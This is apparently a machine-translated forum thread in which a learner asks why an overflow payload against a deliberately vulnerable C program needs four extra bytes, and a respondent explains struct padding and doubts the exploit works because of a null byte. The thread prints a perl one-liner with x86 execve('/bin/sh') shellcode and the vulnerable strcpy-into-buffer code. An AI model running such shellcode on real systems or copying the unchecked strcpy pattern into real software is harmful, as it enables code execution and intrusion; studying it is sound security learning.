При попытке выполнить базовую атаку кучи я все понимаю, кроме размера входной строки. Следующий код может быть использован с использованием perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"'
в качестве аргумента для программы. Используемый шеллкод имеет длину 21 байт. Размер общей строки здесь составляет 785 байт, что составляет 777 буфера + 4 того, что я не знаю, и 4 указателя функции, который мы переопределяем.Переполнение кучи - Структура кучи
Я прочитал here, что 4 байта:
Указатель отслеживает верхнюю часть кучи, похожий на указатель стека стека
Является ли мое предположение верно?
#include <stdio.h>
#include <unistd.h>
void greetUser(char *s) {
printf("Hello %s!\n", s);
}
struct data_t {
char buf[777];
void (*fp)(char *);
} somedata;
int main(int argc, char **argv) {
somedata.fp = &greetUser;
if(argc < 2) {
printf("Usage: %s YourName\n", argv[0]);
exit(1);
}
strcpy(somedata.buf, argv[1]);
(somedata.fp)(somedata.buf);
return 0;
}
Можете ли вы также объяснить, почему работает выше код (с добавленными 4 байтами) и не без 4 байтов ? – Whitebird
Как я уже сказал, первые 777 байт заполняют массив buf [777]. Следующие 3 или 7 байтов (в зависимости от вашей архитектуры) перезаписывают дополнение в структуре, которое правильно выравнивает указатель fp. Перезапись прокладки не имеет никакого эффекта, поскольку данные не используются. Наконец, после того, как все последующие байты скопировали, перепишите указатель на функцию fp (который является либо 4, либо 8 байтами, опять же в зависимости от того, используете ли вы ia32 или ia64) – Ctx
Кстати, я был бы удивлен, если эксплойт действительно работал, поскольку strcpy останавливает копирование в первом 0-байте (который является первым байтом вашего обратного адреса) – Ctx